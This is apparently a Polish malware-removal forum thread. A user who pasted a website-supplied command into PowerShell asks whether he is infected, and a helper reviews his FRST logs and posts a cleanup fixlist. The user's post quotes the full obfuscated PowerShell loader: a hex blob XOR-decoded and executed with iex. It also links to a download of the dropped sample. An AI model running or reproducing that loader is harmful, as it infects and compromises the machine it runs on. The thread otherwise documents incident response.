Czy to groźny wirus komputerowy?

[kacper6768]

Gdy sobie przeglądałem stronę internetową (dam linka w formie obrazka dlatego że jakbym go wkleił to mogłoby być niezgodne z regulaminem dlatego że to strona pornograficzna ale muszę go podać żeby zdiagnozować wirusa)

i na tej stronie żeby ją przeglądać był obrazek (teraz ten obrazek z tej strony zniknął)

i jak wcisnąłem klaiwsz Windows+X to pojawiło się menu i z menu wybrałem PowerShell i wcisnąłem Ctrl+V to okazało się że wkleiłem wpis

Cytat

<# Verification code: B2D2259B5C05 #>  $k='WqFxOjA';$d='7342254a2b53733615251b7a0e273414224f7d5b776713724f724d1a0408350c2a076f191432561c0f332118251d1f052839050b19210b2632031b42753924340434113b1311251e32172c052d6a2a15013c1e243a5f081d3b44123212330a261e380703290c20092e3b253f082a377b6d252a0b7e587a73057b3220032f7a21270c274a65321f30421b2f0c07516e231c133223142b5606256f0710321012507b1014322a2e0425381c0011230f0f361c235066437a19143155061e243a516b313b0f2c0308361d6f2e282514250c201838775c16193b02617305665509053334143a373a1e6c19042a14744e276a3b291121471136052e586b1e617f2a15013c1e243a5f0f37613a2023191b42752d24232327162b052c11182a1d010b2c32596f53684d6f3209235f68437a731e2d457f512738036e5c2657716c552f58620635774266552e0425775c28173b4a65381a7d5c26416a7e0a320a361108390729132a47163213141d3e1f24240566551a1828775661103b1e31244b69573c09333e0132552b0f3779152f1f261e203b5e2214700c28334c744b684d617a3923192b0f3324510603684d197a222f1c684d7c7056204b2b5a24634320417a58733347721d2b5a233540714c7e4d662a516b373a1e073e1d23586b0c617a24351d0d0b323e1216193d192839167d11294215320232551f0b353f51621e661165381a7b49320f2d24143d2b3b0b33235c15142a0f31775c151d2c052f3302664a32172236052510343935360332551c0624320166551c0f22381f220b6f583c2a4a2f1e67472f380566501b0f32235c16193b026173176f51340f393e053b431c1e2025056b283d052232023558622c283b1416193b02617317665518032f331e312b3b132d32510e112b0e2439567d2b3b0b33235c160a2009242402665518032f331e312b3b132d32510e112b0e2439513617380f3324192314234a6c1603210d220f2f233d2f0b3b4a667a3f29283d05273e1d235f634d6c0018281c201d1223082a1d6846661f18221c2a04667b566b3b20072c361f225f634e72344322417d0b253412731c29092433467449795a2363467d1d370335';$r='';for($p=0;$p -lt $d.Length;$p+=2){$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-bxor[int][char]$k[$p/2%$k.Length])};iex $r

i potwierdziłem go enterem. Przecież nie ściągałem exe ani w reklamy nie klikałem ale miałem wyłączonego Windowsa Defendera dlatego że Windows 10 muli na talerzowym dysku HDD i taki byłem zdziwiony że w ten sposób strona weryfikuje użytkowników i bym to olał dlatego że komputer działał normalnie ale tylko tak z ciekawości wszedłem na chataGPT i o tym napisałem to dostałem odpowiedź że to groźny wirus i wszedłem w menedżera zadań i rzeczywiście miałem uruchomiony proces jakiś proces co go pierwszy raz widziałem C:\Users\User\AppData\Local\PyreWard Digital\batcore.exe i go wyłączyłem i wywaliłem z autostartu i harmonogramu zadań i go wrzuciłem na https://www.virustotal.com/gui/file/2ba48b678e8a63d446d0d6d92f1c4f142db092de734adb90509b2df75f794f24/detection

Spakowałem go w zipa i na tą stronę wrzuciłem

https://limewire.com/d/s9K8G#XPMYFMeqg9

 Ja wirusa komputerowego rozumiem że mi dane z dysku pokasuje albo zepsuje pliki systemowe i uniemożliwi korzystanie z komputera i co trochę niebieskie restarty BSOD albo że procesor może cały czas na 100%. Czy to jest tego rodzaju wirus?

[Illidan]

Przeglądanie tego typu stron nie zawsze jest bezpieczne, aby stwierdzić czy masz jakąś infekcję i w ogóle co dzieje sie z komputerem dobrze by było sprawdzić logi z systemu. Zrób zestaw logów z FRST i zmieść w temacie do wgladu.

[kacper6768]

Skąd bezpiecznie można pobrać FRST żebym przypadkiem tego programu FRST nie pobrał od jakiegoś wareza i sobie jeszcze bardziej zainfekował komputer?

[Illidan]

Serio...? Ok, proszę :

https://www.instalki.pl/download/programy/windows/bezpieczenstwo/antyspyware/farbar-recovery-scan-tool-frst/

[kacper6768]

Sprawdźcie logi FRST. Jak je wkleić do ChataGPT jak tekst jest za długi?

FRST.txt Addition.txt

[Illidan]

W „Fixlist" mam pominąć aktywator Windowsa, czy dać go do usuniecia?

[kacper6768]

Aktywatorom Windowsa ufam w 100% że jest bezpieczny nawet gdyby w rzeczywistości teoretycznie to mógł być wirus to i tak jestem o niego w pełni spokojny. Pytałem dawno temu tego gościa ze strony https://basewin.pl co ma numer gadu-gadu 45816905 że to Goodware i False Positive. Napiszcie tylko czy mam tego wirusa ze strony

Zajmijcie się tylko i wyłącznie tym wirusem o którym tu napisałem co go w PowerShella nieświadomie uruchomiłem i inne aktywatory i Cacki pomińcie. Cracków używam wyłącznie z warezów https://rsload.net/ i https://karanpc.com i tamten gość zapewniał że te warezy w pełni bezpieczne i ufam im w 100% nawet jak wam się wydaje inaczej. Napiszcie jak wygląda kwestia tego pornusowego wirusa.

[Illidan]

Twój system jest w bardzo złym stanie pod względem bezpieczeństwa i stabilności. Główny problem to masowe używanie cracków, aktywatorów „KMS/AAct” oraz pirackiego oprogramowania, co doprowadziło do wyłączenia „Defendera” i sporego zaśmiecenia systemu. Co dalej... Stare i niebezpieczne sterowniki! NVIDIA 391.35 (z 2018 roku!) – bardzo stary, ma luki bezpieczeństwa. do tego„Nieznane urządzenie USB (Code 43)” – może być problem sprzętowy lub efekt starych sterowników. Dalej...:

1. Gadgets / Windows Sidebar nadal uruchomione (bardzo przestarzałe i niebezpieczne).
2. StopUpdates10 + polityki blokujące Windows Update.
3. Dużo starych wersji .NET i runtime'ów.
4. Przeglądarki mocno zaśmiecone (mnóstwo rozszerzeń, zmienione strony startowe na cda.pl itp.).
5. BITS service pada (prawdopodobnie przez aktywatory/polityki).
6. Wiele skrótów w Downloads z filmami porno i treściami pobranymi z sieci.

Przyszłościowo ze względu na ilość cracków i modyfikacji systemu najbezpieczniej jest zrobić czystą instalację Windows 10/11. System jest w strasznym, także że walka z tym aby działał on w miarę dobrze może nie przynieść efektów, może nie działać już dobrze. Kolejna rada, to kupić klucz aktywacyjny dla Windows za 10 zł na OLX, to lepsze i bezpieczniejsze rozwiązanie niż stosowanie tych niepewnych aktywatorów.  Starałem się w logach pominąć „KMS”, ale nie wiem czy inne programy tego nie usuną. Bo dobrze by było też przeskanować system "Malwaresbytes". Ten "Gadżety" też zostawiłem puki co, ale to program nadający sie do usunięcia, także to już w twojej woli.

 

Uruchom FRST. Skopiuj zawartość podaną niżej i nigdzie nie wklejaj-FRST sam znajdzie "fixlist" w schowku systemowym.

Spoiler

Start::
CreateRestorePoint:
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> Brak pliku
C:\Users\User\Downloads\3 Прически на Короткие волосы без ШПИЛЕК и ЗАКОЛОК-3 Hairstyles without Pins for SHORT hair- — skrót .lnk
C:\Users\User\Downloads\Безболезненная восковая интимная депиляция дома — skrót .lnk
C:\Users\User\Downloads\Вальс _На сопках Маньчжурии_ исполнили работники судебной системы — skrót .lnk
C:\Users\User\Downloads\Цыганочка с выходом — skrót .lnk
AlternateDataStreams: C:\ProgramData\TEMP:D8999815 [200]
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\TemporaryPaths|\\?\D:\programy\Windows\windows 10\KMSAuto Lite 1.4.5 Portable [Latest]\WinTup\WinTup\%AppData%\WinTup.exe
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\TemporaryPaths|\\?\D:\programy\Windows\windows 10\KMSAuto Lite 1.4.5 Portable [Latest]\WinTup\WinTup\%AppData%\Windows Activator\Windows Activator.exe
FirewallRules: [{0B8BF9B5-429B-40B3-B176-6A91B5D0148E}] => (Allow) D:\a\Vivaldi 7.4.3684.55 x64 Portable\Application\vivaldi.exe => Brak pliku
FirewallRules: [{40336A83-F891-4E69-9216-D55C973F7081}] => (Block) c:\data\graphics\Graphic Editors\Aiarty Image Matting 2.5 Portable\App\ImageMatting\Aiarty Image Matting.exe => Brak pliku
FirewallRules: [{648BE3B4-430B-4612-9C91-612A3341433A}] => (Block) c:\Data\multimedia\video tools\video converters\Winxvideo AI 4.0 Portable\App\WinxvideoAI\Winxvideo AI.exe => Brak pliku
FirewallRules: [{7BB15152-8698-4A6C-A755-15B0C1F336FA}] => (Block) C:\Data\multimedia\video tools\video converters\VideoProc Converter AI 8.0.0 (19Y1R9) Portable\App\VideoProcConverterAI\VideoProcConverterAI.exe => Brak pliku
FirewallRules: [{15508155-2BBD-45CB-8991-DB65635F22D6}] => (Allow) D:\DATA\Browsers\vivalditemp\Application\vivaldi.exe => Brak pliku
FirewallRules: [{E3682D84-935C-4E64-B72A-0479D217622C}] => (Allow) C:\Users\User\AppData\Roaming\uTorrent\uTorrent.exe => Brak pliku
FirewallRules: [{7B06A767-1F26-44C1-9DF4-145827677B93}] => (Allow) C:\Users\User\AppData\Roaming\uTorrent\uTorrent.exe => Brak pliku
FirewallRules: [{F68FC30B-C1D0-4C6F-B64B-E5BE2078CE28}] => (Allow) C:\Users\User\AppData\Local\Programs\Fiddler\Fiddler.exe => Brak pliku
FirewallRules: [{CA73846E-DC96-4E42-9575-7A5344B166AE}] => (Allow) C:\Windows\KMS-R@1n.exe => Brak pliku
FirewallRules: [{6F027C6C-0812-4659-9B9E-F1F77F70997F}] => (Allow) C:\Windows\KMS-R@1n.exe => Brak pliku
FirewallRules: [{10AAC1B8-3E76-4473-85F2-CF5E59B8404C}] => (Allow) C:\Program Files\Windows 10 Activator Ultimate 2019 1.1\Windows 10 Activator Ultimate 2019 1.1.exe => Brak pliku
FirewallRules: [{6FC00038-9CE5-406F-8D14-5B6D6CA240E0}] => (Block) %SystemDrive%\DATA\graphics\panorama maker\Panorama Maker 6\PMK.exe => Brak pliku
FirewallRules: [{08E2A317-AE78-454B-97FE-2A409FF0D14B}] => (Block) c:\DATA\graphics\panorama maker\Panorama Maker 6\PMK.exe => Brak pliku
FirewallRules: [{B664EF41-2929-44B0-9C81-4BB3D7D3BE94}] => (Block) %SystemDrive%\DATA\multimedia\Wondershare Filmora9\Wondershare Filmora9.exe => Brak pliku
FirewallRules: [{7932199C-9740-4FCD-BDF3-0CFE16CE721F}] => (Block) %SystemDrive%\DATA\multimedia\Wondershare Filmora9\Wondershare Filmora9.exe => Brak pliku
FirewallRules: [{15D71C77-B7FE-4BA2-9511-3BDCD95236D2}] => (Block) %SystemDrive%\DATA\multimedia\Wondershare Filmora9\Filmora.exe => Brak pliku
FirewallRules: [{19158392-FAFD-4170-9E6B-AF4F4CA55B1E}] => (Block) %SystemDrive%\DATA\multimedia\Wondershare Filmora9\Filmora.exe => Brak pliku
FirewallRules: [{8E886449-C21E-4C3C-9397-A17C4C29B461}] => (Block) c:\DATA\multimedia\Freemake Video Converter Gold 4.1.10.178 Portable\Freemake Video Converter\FreemakeVC.exe => Brak pliku
FirewallRules: [{90BBB187-8A4A-4DDF-B762-17C1E11E4B41}] => (Block) %SystemDrive%\DATA\multimedia\Freemake Video Converter Gold 4.1.10.178 Portable\Freemake Video Converter\FreemakeVC.exe => Brak pliku
FirewallRules: [{F7DB6D20-6091-4EA1-B2DC-D077AEEE8950}] => (Block) %SystemDrive%\DATA\multimedia\Freemake Video Converter Gold 4.1.10.178 Portable\Freemake Video Converter\SetupUpdate.exe => Brak pliku
FirewallRules: [{B063C820-F533-4DD4-8351-EEA9FD8B01F3}] => (Block) %SystemDrive%\DATA\multimedia\Freemake Video Converter Gold 4.1.10.178 Portable\Freemake Video Converter\SetupUpdate.exe => Brak pliku
FirewallRules: [{84278738-5F62-41CE-83B7-5F01B23FC3B0}] => (Block) C:\Program Files (x86)\By Click Downloader\UpdaterV2.exe => Brak pliku
FirewallRules: [{EB99516D-386A-483B-8041-CFB05553910D}] => (Block) C:\Program Files (x86)\By Click Downloader\UpdaterV2.exe => Brak pliku
FirewallRules: [{2F50F0D0-D693-4484-97E2-134E7F3E4B1B}] => (Allow) D:\DATA\Browsers\VivaldiPortablePLx64\Application\vivaldi.exe => Brak pliku
FirewallRules: [{47829EB4-8F94-4681-AF4D-88A0A267D229}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.110.3218.0_x64__kzf8qxf38zg5c\Skype\Skype.exe => Brak pliku
FirewallRules: [{170F9B7C-43BB-4EAC-A09B-75A03C2CE67B}] => (Allow) C:\DATA\net\chat\Skype 8.110.0.211 Portable\App\Skype\Skype.exe => Brak pliku
FirewallRules: [{D7DEFFF3-841B-47A3-9464-194FA4F82B18}] => (Block) c:\data\multimedia\video tools\video converters\FormatFactory 5.17.0.0 Portable\App\FormatFactory\FormatFactory.exe => Brak pliku
FirewallRules: [{56F6FDFE-CA6C-4B69-96FB-24644BC66D22}] => (Allow) D:\DATA\Browsers\Vivaldi Portable\Application\vivaldi.exe => Brak pliku
FirewallRules: [{0CED973E-50CA-4E4D-9304-70FDEFD1F41F}] => (Allow) D:\DATA\Browsers\facebook\kochac2\Application\vivaldi.exe => Brak pliku
FirewallRules: [{9668A385-4A02-47D6-9294-D3C2C35A0B0E}] => (Allow) C:\Temp\Vivaldi 7.4.3684.55 x64 Portable\Application\vivaldi.exe => Brak pliku
HKLM\...\Policies\Explorer: [NoWindowsUpdate] 1
HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate: Ograniczenia <==== UWAGA
HKLM\Software\Policies\...\system: [EnableSmartScreen] 0 <==== UWAGA
IFEO\CompatTelRunner.exe: [Debugger] %windir%\System32\taskkill.exe
IFEO\DeviceCensus.exe: [Debugger] %windir%\System32\taskkill.exe
IFEO\EOSNOTIFY.EXE: [Debugger] *
IFEO\InstallAgent.exe: [Debugger] *
IFEO\MusNotification.exe: [Debugger] *
IFEO\MUSNOTIFICATIONUX.EXE: [Debugger] *
IFEO\remsh.exe: [Debugger] *
IFEO\SIHClient.exe: [Debugger] *
IFEO\software_reporter_tool.exe: [Debugger] %windir%\System32\taskkill.exe
IFEO\UpdateAssistant.exe: [Debugger] *
IFEO\UPFC.EXE: [Debugger] *
IFEO\UsoClient.exe: [Debugger] *
IFEO\WaaSMedic.exe: [Debugger] *
IFEO\WaasMedicAgent.exe: [Debugger] *
IFEO\Windows10Upgrade.exe: [Debugger] *
IFEO\WINDOWS10UPGRADERAPP.EXE: [Debugger] *
GroupPolicy: Ograniczenia ? <==== UWAGA
Policies: C:\ProgramData\NTUSER.pol: Ograniczenia <==== UWAGA
HKLM\SOFTWARE\Policies\Mozilla\Firefox: Ograniczenia <==== UWAGA
HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
HKLM\SOFTWARE\Policies\Microsoft\Edge: Ograniczenia <==== UWAGA
Task: {D9623A4A-F0DF-4DB0-8FBB-DF20318BC07F} - System32\Tasks\AAct => C:\Windows\AAct_Tools\AAct_x64.exe [3216808 2023-10-16] (WZTeam -> ) [Brak podpisu cyfrowego] -> %SYSTEMDRIVE%\Windows\AAct_Tools\\/win=act /ofs=act
Task: {E9A5733B-DA7B-433F-9079-924689C2508F} - System32\Tasks\Avast Software\Overseer => C:\Program Files\Common Files\AVAST Software\Overseer\overseer.exe  /from_scheduler:1 (Brak pliku)
Task: {2F650694-7B8C-4DA0-870F-7D7AB156B1A2} - System32\Tasks\CreateExplorerShellUnelevatedTask => C:\Windows\explorer.exe [6089584 2025-10-11] (Microsoft Windows -> Microsoft Corporation)
Task: {7C7C04B4-1840-4B05-9B7C-5A7F626C4A78} - System32\Tasks\GadgetPack => C:\Program Files\Windows Sidebar\sidebar.exe [1448448 2024-11-01] (Microsoft Corporation) [Brak podpisu cyfrowego] [Plik w użyciu] <==== UWAGA
Task: {272556F9-3D5B-4E62-AD4F-357A51B54C0D} - System32\Tasks\GlaryUpdate 5 => C:\DATA\optimize\Glary.Utilities.Pro.5.141.0.167.Portable.KaranPC\Portable\CheckUpdate.exe  /schedulestart (Brak pliku)
Task: {06F0273F-C245-4D4B-9BB9-D6F05570B453} - System32\Tasks\MEGA\MEGAsync Update Task S-1-5-21-3432728216-954013339-3855054470-1001 => C:\DATA\net\MEGAsync\MEGAupdater.exe  (Brak pliku)
Task: {C87B67B7-6391-4977-83D1-FD0D3F16561C} - System32\Tasks\MEGA\MEGAsync Update Task S-1-5-21-3432728216-954013339-3855054470-1018 => C:\DATA\net\MEGAsync\MEGAupdater.exe  (Brak pliku)
Task: {BEDC6D23-2F78-448F-86F7-190BE8C07B09} - System32\Tasks\Microsoft\Windows\PI\SecureBootEncodeUEFI => %WINDIR%\system32\SecureBootEncodeUEFI.exe  (Brak pliku)
Task: {18DAB088-14F0-4427-BA79-9DCDA1202BA6} - System32\Tasks\MicrosoftEdgeUpdateTaskUserS-1-5-21-3432728216-954013339-3855054470-1030Core{78427E2D-718F-47A1-AFBB-37E7C46F7DD4} => C:\Users\User\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe  /c (Brak pliku)
Task: {18BB198D-7DF0-4821-A78D-A11223D59E61} - System32\Tasks\MicrosoftEdgeUpdateTaskUserS-1-5-21-3432728216-954013339-3855054470-1030UA{5871B893-D7E6-49B5-B02D-D17E12D8DB09} => C:\Users\User\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe  /ua /installsource scheduler (Brak pliku)
Task: {9415FC44-D2AE-447C-BB95-9816F0CE9829} - System32\Tasks\MicrosoftEdgeUpdateTaskUserS-1-5-21-3432728216-954013339-3855054470-1038Core{D2BCAB3C-7784-43B3-B166-DAAE8246FAB9} => C:\Users\User\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe  /c (Brak pliku)
Task: {ADCE0605-DDC5-45AA-A954-B71AAEAFB514} - System32\Tasks\MicrosoftEdgeUpdateTaskUserS-1-5-21-3432728216-954013339-3855054470-1038UA{6B854C3A-9676-4B3A-8829-40D4F3AFA18C} => C:\Users\User\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe  /ua /installsource scheduler (Brak pliku)
Task: {0F0AD2D3-1145-4313-8FDA-553C350E3806} - System32\Tasks\Opera scheduled Autoupdate 1553696042 => C:\Users\User\AppData\Local\Programs\Opera\launcher.exe  --scheduledautoupdate $(Arg0) (Brak pliku)
Task: {35E3BF83-BA20-4C70-B15F-AED26BF0F982} - System32\Tasks\Opera scheduled Autoupdate 1581682451 => C:\Program Files\Opera\autoupdate\opera_autoupdate.exe [7433176 2026-05-05] (Opera Norway AS -> Opera Software)
Task: {1B5198C6-2E7C-4319-8F09-F19E68B760D2} - System32\Tasks\PyreWard Digital => C:\Users\User\AppData\Local\PyreWard Digital\batcore.exe  (Brak pliku)
Task: {016E9DAC-F680-4417-A26D-04EE18FC21D5} - System32\Tasks\SmartDefrag_Update => C:\DATA\defrag\Smart Defrag\AutoUpdate.exe  /autorun (Brak pliku)
FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.cpdf -> C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\plugins\npFoxitPDFReaderPlugin.dll [Brak pliku]
FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.fdf -> C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\plugins\npFoxitPDFReaderPlugin.dll [Brak pliku]
FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.xdp -> C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\plugins\npFoxitPDFReaderPlugin.dll [Brak pliku]
FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.xfdf -> C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\plugins\npFoxitPDFReaderPlugin.dll [Brak pliku]
S4 luminati_net_updater_win_formatfactory_pcfreetime_com; "C:/Data/multimedia/video tools/video converters/Format Factory 5.20.0.0 Portable/App/FormatFactory/net_updater64.exe" --updater win_formatfactory.pcfreetime.com (Brak pliku)
HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
HKLM\SOFTWARE\Policies\Microsoft\Windows\System
HKLM\SOFTWARE\Policies\Mozilla\Firefox
HKLM\SOFTWARE\Policies\Google
HKLM\SOFTWARE\Policies\Microsoft\Edge
C:\Program Files (x86)\StopUpdates10
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions
Task: {D9623A4A-F0DF-4DB0-8FBB-DF20318BC07F} - AAct
HKU\S-1-5-21-3432728216-954013339-3855054470-1052\Software\Microsoft\Windows\CurrentVersion\RunOnce
End::

Fixlist przeznaczona tylko dla autora tematu!

W FRST kliknij opcję "Napraw" (Fix). Pokaż raport  "fixlog.txt", który otrzymasz po restarcie komputera. Pobierz dodatkowo "Malwaresbytes" po czyszczeniu w „FRST”. Przeskanuj nim komputer, może nic na razie nie usuwaj a pokaż tylko log ze skanowania.